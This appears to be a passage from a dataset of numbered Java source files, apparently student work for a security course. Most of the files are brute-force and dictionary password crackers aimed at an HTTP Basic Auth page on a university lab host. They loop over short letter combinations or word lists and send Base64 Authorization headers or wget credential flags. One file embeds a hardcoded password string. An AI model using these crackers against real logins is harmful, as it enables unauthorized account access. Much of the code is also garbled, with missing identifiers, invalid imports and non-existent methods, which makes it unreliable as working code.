           flag=1;
          }
        line=inputStream.readLine();
     }
     inputStream.close();
   }
   catch(FileNotFoundException e)
   {
	 System.err.println(""File ""+filename+"" was not found"");
   }
   catch(IOException e)
   {
 	 System.err.println(""Error "");
   }

   System.out.println(""content is ""+ sw.toString());
  }
 }"
116.java,"
import java.io.*;

public class PasswordFile {
    
    private String strFilepath;
    private String strCurrWord;
    private File fWordFile;
    private BufferedReader in;
    
    
    public PasswordFile(String filepath) {
        strFilepath = filepath;
        try {
            fWordFile = new File(strFilepath);
            in = new BufferedReader(new FileReader(fWordFile));
        }
        catch(Exception e)
        {
            System.out.println(""Could not open file "" + strFilepath);
        }
    }
    
    String getPassword() {
        return strCurrWord;
    }
    
    String getNextPassword() {
        try {
            strCurrWord = in.readLine();
            
            
            
        }
        catch (Exception e)
        {
            
            return null;
        }
                
        return strCurrWord;
    }
    
}
"
104.java,"

import java.io.*;
import java.net.*;
import java.Runtime;

public class WatchDog
{
  public WatchDog()
  {}

  public void getDiff()
  {
     String oldFile=""oldFile.txt"";
     String newFile=""newFile.txt"";
     String email=""email.txt"";
     String cmdMail=""mail -s WebChanged  < ""+email;
     String cmdCmp=""diff -b "" + newFile +"" ""+oldFile;
     String cmdCp=""cp ""+ newFile +"" ""+oldFile;

     FileWriter fw;
     try{
     this.fetchURL(newFile);

     Process ps =Runtime.getRuntime().exec(cmdCmp);    
     fw=new FileWriter(email,true);
     InputStream input=(InputStream)ps.getInputStream();
     BufferedReader in = new BufferedReader (new InputStreamReader (input));
     String line;
     while ((line = in.readLine()) != null) {
     fw.write(line);
     fw.write(""\n"");
     } 
     fw.close();
     Runtime.getRuntime().exec(cmdMail);    
     Runtime.getRuntime().exec(cmdCp);      
     }
     catch (IOException e) {
       System.out.println (""Error  URL"");
     }
  }

  public void fetchURL(String newFile){
      FileWriter fileWriter;
      String userPwd="":lena1018"";

      try{
   
       fileWriter= new FileWriter(newFile,false);

       URL url=new URL(""http://www.cs.rmit.edu./students"");  

       HttpURLConnection huc=(HttpURLConnection) url.openConnection();  
       InputStream content = (InputStream)huc.getInputStream();
       BufferedReader in = new BufferedReader (new InputStreamReader (content));
       String line;
       while ((line = in.readLine()) != null) {
       fileWriter.write(line);
       fileWriter.write(""\n"");
       } 
       fileWriter.close();
     }  
     catch (MalformedURLException e) {
       System.out.println (""Invalid URL"");
     } catch (IOException e) {
       System.out.println (""Error  URL"");
     }
  }

  public static void main(String[] arguments)
  {
    WatchDog wd =new WatchDog();
    wd.getDiff();
  }

}"
181.java,"import java.net.*;
import java.io.*;


public class BruteForce extends Authenticator {

    
    private String username;
    
    private URL url;
    
    private char [] nextPassword;
    
    private char [] thisPassword;

    
    public static void main(String [] args) {
        if(args.length!=2) {
            System.err.println(""usage: BruteForce <url> <username>"");
            System.exit(1);
        }
        BruteForce bf = null;
        try {
            bf = new BruteForce(args[0], args[1]);
        } catch (MalformedURLException me) {
            me.printStackTrace();
            System.exit(1);
        }
        bf.work();
        System.exit(0);
    }

    
    public BruteForce(String url, String username) 
            throws MalformedURLException {
        this.url = new URL(url);
        this.username = username;
        this.nextPassword = new char [] {'a'};
    }

    
    public void work() {
        Authenticator.setDefault(this);
        HttpURLConnection uc = null;
        try {
            uc = (HttpURLConnection) url.openConnection();
            uc.connect();
	        while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED
                    && nextPassword!=null) {
                try {
                    InputStream is = uc.getInputStream();
                    uc.connect();
                } catch (ProtocolException pe) {
                    uc = (HttpURLConnection) url.openConnection();
                } catch (NullPointerException npe) {
                    npe.printStackTrace();
                    System.exit(1);
                } 
            }
        } catch (java.io.IOException e) {
            e.printStackTrace();
            System.exit(1);
        }
        System.out.println(""password="" + new String(thisPassword));
    }

    
    public PasswordAuthentication getPasswordAuthentication() {
        createNextPassword();
        return new PasswordAuthentication(username, thisPassword);
    }

    
    public void createNextPassword() {
        int i;
        if(thisPassword==null) {
            thisPassword = new char [] {'A', 'A', 'A'};
            nextPassword = new char [] {'A', 'A', 'B'};
            return;
        }
        thisPassword = nextPassword;
        if(nextPassword[2]=='Z') {
            nextPassword[2]='a';
            return;
        } else if(nextPassword[2]!='z') {
            i = (int) nextPassword[2];
            nextPassword[2]=(char) ++i;
        } else {
            nextPassword[2]='A';
            if(nextPassword[1]=='Z') {
                nextPassword[1]='a';
            } else if(nextPassword[1]!='z') {
                i = (int) nextPassword[1];
                nextPassword[1]=(char) ++i;
            } else {
                nextPassword[1]='A';
                if(nextPassword[0]=='Z') {
                    nextPassword[0]='a';
                } else if(nextPassword[0]!='z') {
                    i = (int) nextPassword[0];
                    nextPassword[0]=(char) ++i;
                } else {
                    nextPassword = null;
                }
            }
        }
    }
}
"
147.java,"import java.net.*;
import java.io.*;
import java.util.*;

public class Dictionary {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      String file = ""/usr/share/lib/dict/words"";
      String word;
      char[] password = new char[MAX_LENGTH];
      String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/"";

      while (!auth) {
         
         BufferedReader in = null;
         try {
            
            in = new BufferedReader(new FileReader(file));
            while ((word = in.readLine()) != null && !auth) {
               try {
                  if (word.length() <= MAX_LENGTH) {
                     password = word.toCharArray();
                     
                     Authenticator.setDefault(new CrackAuth(password));
                     URL url = new URL(resource);
                     HttpURLConnection conn = (HttpURLConnection)url.openConnection();
                     conn.setRequestMethod(""HEAD"");
                     if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
                        System.out.println(""cracked with "" + new String(password));
                        auth = true;
                     }
                  }
               } catch (Exception e) {
                  System.out.println("" was  exception: "" + e.getMessage());
               }
            }

         
         } catch (FileNotFoundException fnfe) {
            System.out.println(""File Not Found"");
         } catch (IOException ioe) {
            System.out.println(""IOException"");
         } catch(Exception e) {
            e.printStackTrace();
         } finally {
            try {
               in.close();
            } catch (Exception e) {;}
         }


      }
      if (!auth) {
         System.out.println(""Unable  determine password"");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println(""it took "" + String.valueOf(time) + "" milliseconds  crack the password"");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = """";
      return new PasswordAuthentication(user, password);
   }
}
"
089.java,"import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;


public class BruteForce
{
    public static void main (String args[]) throws Exception {
	String retVal = null, StatusCode = ""HTTP/1.1 200 OK"";
    int found = 0, count = 0, ctrl = 0, flag = 0;


          stime = System.currentTimeMillis();
         char[] c = new char[3];
         System.out.println(""Cracking password by Brute Force..."");

	     for(int i=65; ((i<123) && (found == 0)); i++)
	     {
	       for(int j=65; ((j<123) && (found == 0)); j++)
	       {
	         for (int k=65; ((k<123) && (found == 0)); k++)
	         {
               try {
                   if (ctrl == 0) {
                      c[0] = '\0';
                      c[1] = '\0';
                   } else if ((ctrl == 1) && (flag == 0)) {
                     c[0] = '\0';
                   }
                      c[2] = (char)(k);

	               
                   URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
                   URLConnection yc = yahoo.openConnection();

                   
                   String authString = "":"" + String.valueOf();
                   String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());
                   yc.setRequestProperty(""Authorization"", "" "" + auth);
                   count++;

                   
                   BufferedReader in = new BufferedReader(
                                           new InputStreamReader(
                                           yc.getInputStream()));

                   String inputLine;
                   while ((inputLine = in.readLine()) != null){
                           System.out.println(inputLine);
                            etime = System.currentTimeMillis();
                           System.out.println(""Password found -- "" + String.valueOf());
                           System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec"");
                           System.out.println(""# of attempt = "" + count);
                           System.out.println(""End of cracking!"");
                           found = 1;
                   }
                   in.print();

	           } catch (Exception ex) {}
	         }
	         ctrl = 1;
             c[1] = (char)(j);
           }
           ctrl = 2;
           flag = 1;
           c[0] = (char)(i);
         }
         if (found == 0){
           System.out.println(""Sorry,  password found."");
           System.out.println(""# of attempt = "" + count);
           System.out.println(""End of cracking!"");
         }
    }
}"
225.java,"
import java.io.*;
import java.awt.*;
import java.net.*;

public class BruteForce
{
	public static void main (String[] args)
	{
		String pw = new String();
		pw = getPassword ();
		System.out.println(""Password is: ""+pw);
	}
	public static String getPassword()
	{
		String passWord = new String();
		passWord = ""AAA"";
		char[] guess = passWord.toCharArray();
		Process pro = null;
		Runtime runtime = Runtime.getRuntime();
		BufferedReader in = null;
		String str=null;
		boolean found = true;

		System.out.println("" attacking....."");
		for (int i=65;i<=122 ;i++ )
		{
			guess[0]=(char)(i);
            for (int j=65;j<=122 ;j++ )
			{
				guess[1]=(char)(j);
                for (int k=65 ;k<=122 ;k++ )
				{
					guess[2]=(char)(k);
					passWord = new String(guess);
					String cmd = ""wget --http-user= --http-passwd=""+passWord +"" http://sec-crack.cs.rmit.edu./SEC/2/index.php "";
					try
					{
						pro = runtime.exec(cmd);

						in = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
						found = true;
						if((str=in.readLine())!=null)
						{
							while ((str=in.readLine())!=null)
							{
								if (str.endsWith(""Required""))
								{
									found = false;
								}
							}
							if (found == true)
							{
								return passWord;
							}
						}
					}
					catch (Exception exception)
					{
					    exception.getMessage();
					}
					if(k==90)
						k=96;
					runtime.gc();
				}
				if(j==90)
					j=96;
			}
			if(i==90)
				i=96;
		}
		return ""not found"";
	}
}"
061.java,"

import java.io.*;
import java.util.*;
import java.net.*;


public class Dictionary {

	public static void main(String[] args) {

	String attackURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
	String userID = """";
	String Password="""";
	String userPassword="""";

	File inputFile = new File(""/usr/share/lib/dict/words"");
        FileReader fin = null;
        BufferedReader bf  = null;

	try {
		 startmillisecond = System.currentTimeMillis();
	        URL url = new URL(attackURL);
	        fin = new FileReader(inputFile);
	        bf = new BufferedReader(fin);
		int count = 0;
	        while ((Password = bf.readLine()) !=null) {
	                if (Password.length() < 4) {
				count++;
				try {
					userPassword = userID + "":"" + Password;
					System.out.println(""User & Password :"" + userPassword);
				        String encoding = Base64Converter.encode (userPassword.getBytes());
				
					URLConnection uc = url.openConnection();
					uc.setRequestProperty  (""Authorization"", "" "" + encoding);
					InputStream content = (InputStream)uc.getInputStream();
					BufferedReader in = new BufferedReader (new InputStreamReader (content));
					String line;
					while ((line = in.readLine()) != null) {
			            
					System.out.println(line);
				        }
					 endmillisecond = System.currentTimeMillis();
					 searchmillisecond = endmillisecond - startmillisecond;
					System.out.println(""Match in "" + searchmillisecond + "" milliseconds "");
					System.out.println(""Try in "" + count + "" times "");
		                System.exit(1);

				} catch (MalformedURLException e) {
			       		System.out.println(""Invalid URL"");
				} catch (IOException e) {
		      			System.out.println(""Error  URL"");
				}
			}
		}
	}
	catch (Exception ioe) {
            	System.out.println(ioe.getMessage());
        }
        finally {
        }
   }

}
"
082.java,"import java.net.*;
import java.util.*;
import java.io.*;




public class BruteForce {
  URL url;
  URLConnection uc;
  String username, password, encoding;
  int pretime, posttime;
  String c ;

  public BruteForce(){
    pretime = new Date().getTime();
    try{
      url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
    }catch(MalformedURLException e){
      e.printStackTrace();
    }
    username = """";
  }

  public void checkPassword(char[] pw){
    try{
      password = new String(pw);
      encoding = new pw.misc.BASE64Encoder().encode((username+"":""+password).getBytes());
      uc = url.openConnection();
      uc.setRequestProperty(""Authorization"", "" "" + encoding);
      bf = uc.getHeaderField(null);
      System.out.println(password);
      if(bf.equals(""HTTP/1.1 200 OK"")){
        posttime = new Date().getTime();
         diff = posttime - pretime;
        System.out.println(username+"":""+password);
        System.out.println();
        System.out.println(diff/1000/60 + "" minutes "" + diff/1000%60 + "" seconds"");
        System.exit(0);
      }
    }catch(MalformedURLException e){
      e.printStackTrace();
    }catch(IOException ioe){
      ioe.printStackTrace();
    }
  }

  public static void main (String[] args){
    BruteForce bf = new BruteForce();
    char i, j, k;

    
    for(i='a'; i<='z'; i++){
      for(j='a'; j<='z'; j++){  
        for(k='a'; k<='z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    }

    
    for(i='A'; i<='Z'; i++){
      for(j='A'; j<='Z'; j++){  
        for(k='A'; k<='Z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    }

    
    for(i='A'; i<='Z'; i++){
      for(j='a'; j<='z'; j++){  
        for(k='a'; k<='z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    }

    for(i='A'; i<='z'; i++){ 
      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
        continue;
      }
      for(j='A'; j<='Z'; j++){  
        for(k='a'; k<='z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    }   

    for(i='A'; i<='z'; i++){ 
      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
        continue;
      }
      for(j='a'; j<='z'; j++){  
        for(k='A'; k<='Z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    } 
        
    for(i='a'; i<='z'; i++){
      for(j='A'; j<='Z'; j++){  
        for(k='A'; k<='Z'; k++){
          char[] pw = {i, j, k};
          bf.checkPassword(pw);
        }
      }
    }
    
    
    for(i='A'; i<='z'; i++){ 
      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
        continue;
      }
      for(j='A'; j<='z'; j++){  
        if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
          continue;
        }
        char[] pw = {i, j};
        bf.checkPassword(pw);
      }
    }   
    
    
    for(i='A'; i<='z'; i++){     
      if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
        continue;
      }
      char[] pw = {i};
      bf.checkPassword(pw);
    }
  }
}
        
"
041.java,"

public class Base64 {


static public char[] encode(byte[] data)
{
    char[] out = new char[((data.length + 2) / 3) * 4];

    
    
    
    
    for (int i=0, index=0; i<data.length; i+=3, index+=4) {
        boolean quad = false;
        boolean trip = false;

        int bat = (0xFF & (int) data[i]);
        bat <<= 8;
        if ((i+1) < data.length) {
            bat |= (0xFF & (int) data[i+1]);
            trip = true;
        }
        bat <<= 8;
        if ((i+2) < data.length) {
           bat  |= (0xFF & (int) data[i+2]);
            quad = true;
        }
        out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
        bat >>= 6;
        out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
        bat >>= 6;
        out[index+1] = alphabet[bat & 0x3F];
        bat >>= 6;
        out[index+0] = alphabet[ bat & 0x3F];
    }
    return out;
}

  
static public byte[] decode(char[] data)
{
    
    
    
    
    
    

    int tempLen = data.length;
    for( int ix=0; ix<data.length; ix++ )
    {
        if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
            --tempLen;  
    }
    
    
    
    

    int len = (tempLen / 4) * 3;
    if ((tempLen % 4) == 3) len += 2;
    if ((tempLen % 4) == 2) len += 1;

    byte[] out = new byte[len];



    int shift = 0;   
    int accum = 0;   
    int index = 0;

    
    for (int ix=0; ix<data.length; ix++)
    {
        int value = (data[ix]>255)? -1: codes[ data[ix] ];

        if ( value >= 0 )           
        {
            accum <<= 6;            
            shift += 6;             
            accum |= value;         
            if ( shift >= 8 )       
            {
                shift -= 8;         
                out[index++] =      
                    (byte) ((accum >> shift) & 0xff);
            }
        }
        
        
        
        
        
        
    }

    
    if( index != out.length)
    {
        throw new Error(""Miscalculated data length (wrote "" + index + "" instead of "" + out.length + "")"");
    }

    return out;
}





static private char[] alphabet =
    ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=""
        .toCharArray();




static private byte[] codes = new byte[256];
static {
    for (int i=0; i<256; i++) codes[i] = -1;
    for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');
    for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
    for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
    codes['+'] = 62;
    codes['/'] = 63;
}
}"
191.java,"




import java.io.IOException;
import java.net.*;

import java.io.*;
import java.util.*;



public class BruteForce

{

   static String strLetter[];

   static URL url = null;
   static URLConnection urlConnection;
   static InputStream urlStream;

   static String strExceptionPassword[];

   static int intExceptionCount = -1;

   static int intNumberOfConnectionAttempts = 0;

   static String username = """";

   static String strLastPasswordTested;



   public static void main (String args[])
   
   {

         
         
      Calendar calStart;
      Calendar calFinish;   
      Date dateStart;
      Date dateFinish;
       lngStart;
       lngFinish;



         
         
      calStart  = new GregorianCalendar();
      dateStart = calStart.getTime();
      lngStart  = dateStart.getTime();          




      System.out.println();
      System.out.println();




         
         
      populateArray();


         
         
         
         

      boolean boolPasswordFound = false;
      boolean boolExceptionPasswordsTestedAgain = false;

      String strPasswd;




      String urlString
            = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";

      int intCounter1 = 0;
      int intCounter2 = 0;
      int intCounter3 = 0;

      int intArrayLength = strLetter.length;




         
         
         
         
         
      strExceptionPassword = new String[5000];



      if (!boolPasswordFound) 
      {


            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
         {

            boolPasswordFound = true;

            boolPasswordFound 
                   = passwordWasFound(urlString,
                                      strLetter[intCounter1], 
                                      boolPasswordFound);

            intCounter1++;

         }



            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
         {

            intCounter2 = 0;

            while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
            {

               boolPasswordFound = true;

               boolPasswordFound 
                   = passwordWasFound
                          (urlString,
                           strLetter[intCounter1] 
                                  + strLetter[intCounter2], 
                           boolPasswordFound);

               intCounter2++;  

            }


            intCounter1++;

         }




            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
         {

            intCounter2 = 0;

            while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
            {

               intCounter3 = 0;


               while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) )
               {

                  boolPasswordFound = true;


                  boolPasswordFound 
                      = passwordWasFound
                             (urlString,
                              strLetter[intCounter1] 
                                    + strLetter[intCounter2]
                                    + strLetter[intCounter3], 
                              boolPasswordFound);

                  intCounter3++;

               }


               intCounter2++;

            }


            intCounter1++; 

         }




            
            
            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )
         {

            boolExceptionPasswordsTestedAgain = true;
            boolPasswordFound = true;

            boolPasswordFound 
                = passwordWasFound(urlString,
                                   strExceptionPassword[intCounter1],
                                   boolPasswordFound);  

            intCounter1++;

         }

      }   



      System.out.println();



         
         
      calFinish  = new GregorianCalendar();
      dateFinish = calFinish.getTime();
      lngFinish  = dateFinish.getTime();      



         
         
      System.out.println();
      System.out.println();


      System.out.println();
      System.out.println(""Length of time for processing: "" + 
                         ((lngFinish - lngStart) / 1000)   + 
                         "" seconds"");


      System.out.println();
      System.out.println(""Number of connection attempts = "" + intNumberOfConnectionAttempts);


      System.out.println();
      System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1));


      if (intExceptionCount >= 0)
      {
         System.out.print(""These EXCEPTION passwords WERE "");

         if (boolExceptionPasswordsTestedAgain)
            System.out.print(""tested again."");
         else
            System.out.print(""NOT tested again."");

         System.out.println();
      }


      System.out.println();


      if (boolPasswordFound) 
      {
         System.out.println(""The correct password WAS found - this password is '"" + 
                            strLastPasswordTested + ""'."");
      } 
      else
      {
         System.out.println(""The correct password WAS NOT found."");
      } 
            
      System.out.println();




   }







   static void populateArray()
   
   {

      strLetter = new String[52];


      strLetter[0]  = ""a"";
      strLetter[1]  = ""b"";
      strLetter[2]  = ""c"";
      strLetter[3]  = ""d"";
      strLetter[4]  = ""e"";
      strLetter[5]  = ""f"";
      strLetter[6]  = ""g"";
      strLetter[7]  = ""h"";
      strLetter[8]  = ""i"";
      strLetter[9]  = ""j"";
      strLetter[10] = ""k"";
      strLetter[11] = ""l"";
      strLetter[12] = ""m"";
      strLetter[13] = ""n"";
      strLetter[14] = ""o"";
      strLetter[15] = ""p"";
      strLetter[16] = ""q"";
      strLetter[17] = ""r"";
      strLetter[18] = ""s"";
      strLetter[19] = ""t"";
      strLetter[20] = ""u"";
      strLetter[21] = ""v"";
      strLetter[22] = ""w"";
      strLetter[23] = ""x"";
      strLetter[24] = ""y"";
      strLetter[25] = ""z"";
      strLetter[26] = ""A"";
      strLetter[27] = ""B"";
      strLetter[28] = ""C"";
      strLetter[29] = ""D"";
      strLetter[30] = ""E"";
      strLetter[31] = ""F"";
      strLetter[32] = ""G"";
      strLetter[33] = ""H"";
      strLetter[34] = ""I"";
      strLetter[35] = ""J"";
      strLetter[36] = ""K"";
      strLetter[37] = ""L"";
      strLetter[38] = ""M"";
      strLetter[39] = ""N"";
      strLetter[40] = ""O"";
      strLetter[41] = ""P"";
      strLetter[42] = ""Q"";
      strLetter[43] = ""R"";
      strLetter[44] = ""S"";
      strLetter[45] = ""T"";
      strLetter[46] = ""U"";
      strLetter[47] = ""V"";
      strLetter[48] = ""W"";
      strLetter[49] = ""X"";
      strLetter[50] = ""Y"";
      strLetter[51] = ""Z"";

   }







   static boolean passwordWasFound(String urlString,
                                   String password,
                                   boolean retVal)
   
   {

      String strEncodeInput = username + "":"" + password;
      boolean returnValue = retVal;
      boolean boolExceptionThrown = false;



      try
      {

         strLastPasswordTested = password;
 
         intNumberOfConnectionAttempts++;

         url = new URL(urlString);

         String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());


         System.out.print(""username = "" + 
                          username      + 
                          ""    ""        +
                          ""password = "" +
                          password);



         HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();

         urlConnection.setRequestProperty(""Authorization"", 
                                          "" "" + encoding);   

         System.out.println(""    response  = "" + urlConnection.getResponseCode());

         if (urlConnection.getResponseCode() == 401)
         {
            returnValue = false;         
         }

      }

      catch (MalformedURLException m)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.err.println(m);
         System.out.println(""Malformed URL Exception error"");
      }

      catch (IOException io)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.out.println(""IOException error"");
         System.err.println(io); 
      }

      catch (Exception e)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.out.println(""General exception....."");
         System.err.println(e); 
      }

      finally
      { 
         urlConnection = null;
         url = null; 
      }


      if (boolExceptionThrown)
      {
         intExceptionCount++;
         strExceptionPassword[intExceptionCount] = password;
      }


      return returnValue;

   }

}"
201.java,"
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;

public class MyClient1 implements Runnable
{
   private String hostname;
   private int port;
   private String filename;
   private Socket s;
   private int n;
   private InputStream sin;
   private OutputStream sout;
   private int dif;
   private String myPassword;
   private int status;
   private int myTime;
   private Dictionary myMaster;
   

   public MyClient1(Dictionary dic, int num, int myPort, String password)
   {
      
      hostname = new String(""sec-crack.cs.rmit.edu."");
      port = myPort;
      status = 0;
      myTime = 0;
      myPassword = password;
      filename = new String(""/SEC/2/"");
      myMaster = 0;
      n = num;
      dif = 0;
      
   }
   public  getDif()
   {
      return dif;
   }
   public int getStatus()
   {
      return status;
   }
   public void run() 
   {
      String inputLine;
      String[] tokens = new String[5];
      int i;
       myTime = 0;
       finish = 0;
      start = System.currentTimeMillis();
      try
      {
         s = new Socket( hostname, port);
      }catch( UnknownHostException e)
      {
         System.out.println(""'t find host"");
      }catch( IOException e)
       {
          System.out.println(""Error connecting  host ""+n);
	  return;
       }
      while(s.isConnected() == false)
         continue;
      
      finish = System.currentTimeMillis();
      dif = finish - start;
      
      try
      {
        sin  = s.getInputStream();
      }catch( IOException e)
       {
          System.out.println(""'t open stream"");
       }
      BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
      try
      {
         sout = s.getOutputStream();
      }catch( IOException e)
       {
          System.out.println(""'t open stream"");
       }
      
      PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
      toServer.print(""GET ""+filename+"" HTTP/1.0\r\n""+""Authorization:  ""+Base64.encode(""""+"":""+myPassword)+""\r\n\r\n"");
      toServer.flush();
      
      try
      {
         inputLine = fromServer.readLine();
      }catch( IOException e)
       {
          System.out.println(""'t open stream"");
	  inputLine = null;
       }
      
      java.util.StringTokenizer  = new java.util.StringTokenizer( inputLine, "" "");
      i = 0;
      while(bf.hasMoreTokens())
      {
         tokens[i] =bf .nextToken();
	 i++;
      }
      status = Integer.parseInt( tokens[1]);
      myTime = System.currentTimeMillis();
      if( status == 200)
      {
         System.out.println(""Ok ""+myPassword);
	 myMaster.retire( this);
      }
     
      toServer.send();
      try
      {
         fromServer.recieve();
      }catch( IOException e)
       {
          System.out.println(""'t open stream"");
       }
      try
      {
         s.connect();
      }catch( IOException e)
       {
          System.out.println(""'t  connection"");
	  System.exit(0);
       }
   }
   public  getTime()
   {
      return myTime;
   }
   
}
"
145.java,"

import java.net.*;
import java.io.*;
import java.util.*;

public class Dictionary{

  private static URL location;
  private static String user;
  private BufferedReader input;
  private static BufferedReader dictionary;
  private int maxLetters = 3;

  

    public Dictionary() {
      
      Authenticator.setDefault(new MyAuthenticator ());

       startTime = System.currentTimeMillis();
      boolean passwordMatched = false;
      while (!passwordMatched) {
        try {
          input = new BufferedReader(new InputStreamReader(location.openStream()));
          String line = input.readLine();
          while (line != null) {
            System.out.println(line);
            line = input.readLine();
          }
          input.close();
          passwordMatched = true;
        }
        catch (ProtocolException e)
        {
          
          
        }
        catch (ConnectException e) {
          System.out.println(""Failed  connect"");
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }
       endTime = System.currentTimeMillis();
      System.out.println(""Total Time: ""+cad.concat(Math.toString(endTime - startTime)));
    }

    

    private char[] nextPassword() {
      String password = new String();
      try {
        password = dictionary.readLine();
        while (password.length() > maxLetters) {
          password = dictionary.readLine();
        }
      }
      catch (IOException e) {
        e.printStackTrace();
        System.exit(-1);
      }

      return password.toCharArray();
    }


    

    public static void main(String args[]) {
      if (args.length != 3) {
        System.out.println(""Usage: java Dictionary url user dictionary"");
        System.exit(-1);
      }
      try {
        location = new URL(args[0]);
      }
      catch (MalformedURLException e) {
        e.printStackTrace();
      }
      user = new String().concat(args[1]);
      try {
        dictionary = new BufferedReader(new FileReader(args[2]));
      }
      catch (IOException e) {
        e.printStackTrace();
        System.exit(-1);
      }
      new Dictionary();
    }

    

    class MyAuthenticator extends Authenticator {
      protected PasswordAuthentication getPasswordAuthentication() {
        char [] currentPassword = nextPassword();
        System.out.print(user.concat(""-""));
        System.out.println(currentPassword);
        return new PasswordAuthentication (user, currentPassword);
      }
    }
}
"
078.java,"import java.util.*;
import java.net.*;
import java.io.*;

public class BruteForce
{
    boolean connected = false;
    int counter;
    String[] chars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",
                    ""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",
                    ""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",
                    ""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",
                    ""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",
                    ""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",
                    ""W"",""X"",""Y"",""Z""};
    Vector combinations = new Vector();
    
    BruteForce()
    {
        counter = 0;
        this.genCombinations();
        this.startAttack();
    }   
    
    public void startAttack()
    {
        while(counter<this.combinations.size())
        {
           connected = sendRequest();
           if(connected == true)
           {
             System.out.print(""The password is: "");
             System.out.println((String)combinations.elementAt(counter-1));
             counter = combinations.size();
           }
        }
    }
    
    public void genCombinations()
    {
        String combination = new String();
        
        for (int x=0; x<52; x++)
        {
            combination = chars[x];
            this.combinations.addElement(combination);
        }
        
        for (int x=0; x<52; x++)
        {
            for (int y=0; y<52; y++)
            {
                combination = chars[x] + chars[y];
                this.combinations.addElement(combination);
            }
        }   
        
        for (int x=0; x<52; x++)
        {
            for (int y=0; y<52; y++)
            {
                for (int z=0; z<52; z++)
                {
                    combination = chars[x] + chars[y] + chars[z];
                    this.combinations.addElement(combination);
                }
            }
        }   
    }
    
    public boolean sendRequest()
    {
        Authenticator.setDefault (new MyAuthenticator ());
        try 
        {
        	
        	URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
                HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
                urlConn.connect();
               if(urlConn.getResponseMessage().equalsIgnoreCase(""OK""))
               {
                   return true;
               }
               
        } 
        catch (IOException e) {}
        
        return false;
    }
    
     public static void main(String [] args)
     {
         BruteForce bf = new BruteForce();
     }
   
   
     class MyAuthenticator extends Authenticator {
       
        protected PasswordAuthentication getPasswordAuthentication() {
            String username = """";
            String password = (String)combinations.elementAt(counter);
            counter++;
            return new PasswordAuthentication(username, password.toCharArray());
        }
    }
}
"
057.java,"                   
                   

 import java.io.*;


   class Dictionary
   {
      public static void main (String[]a)
      {
         new PassGen();
      }
   }

       class PassGen
       {
           String password;
	        char url;
            Process p;
            Runtime r;
            FileReader fr;
            BufferedReader bf;
            int exitValue=1;
            int startTime,finishTime;
            int noOfAttempts=0;


       	   PassGen()
	       {

    	     String s;
	           try
	             {
              		  fr=new FileReader(""./words"");
                    bf =new BufferedReader(fr);
                     r=Runtime.getRuntime();
                     startTime=System.currentTimeMillis();
                     while((password=bf.readLine())!=null &&  exitValue !=0)
                      {
